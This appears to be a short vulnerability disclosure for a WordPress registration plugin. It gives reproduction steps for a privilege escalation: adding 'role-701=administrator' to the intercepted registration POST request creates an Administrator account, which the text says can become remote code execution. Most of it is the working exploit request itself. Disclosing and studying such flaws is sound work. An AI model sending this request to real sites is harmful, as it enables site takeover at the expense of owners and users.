The vulnerability allows anyone to register with Administrator role which can easily be turned into RCE. Steps to reproduce: 1. Go to the registration form, input random fake values, trigger Burp Suite and click submit. 2. The POST data will look similar to following: redirect_uri-701=&_myuserpro_nonce=xxxxxx&_wp_http_referer=%2F&unique_id=701&user_login-701=USERNAME&user_email-701=USERNAME@EMAIL.COM&user_pass-701=PASSWORD&user_pass_confirm-701=PASSWORD&display_name-701=&profilepicture-701=&country-701=&facebook-701=&twitter-701=&google_plus-701=&user_url-701=&terms=on&action=userpro_process_form&template=register&group=default&shortcode=xxxxxxxxxxxxxxxxxxxxxxxxxxx. Adding following extra parameter in POST data will register the user with Administrator privileges: role-701=administrator. So the modified POST data will look similar to following: role-701=administrator&redirect_uri-701=&_myuserpro_nonce=xxxxxx&....snip....snip.... 3. Forward the POST data in Burp Suite and you will get redirect to /wp-admin/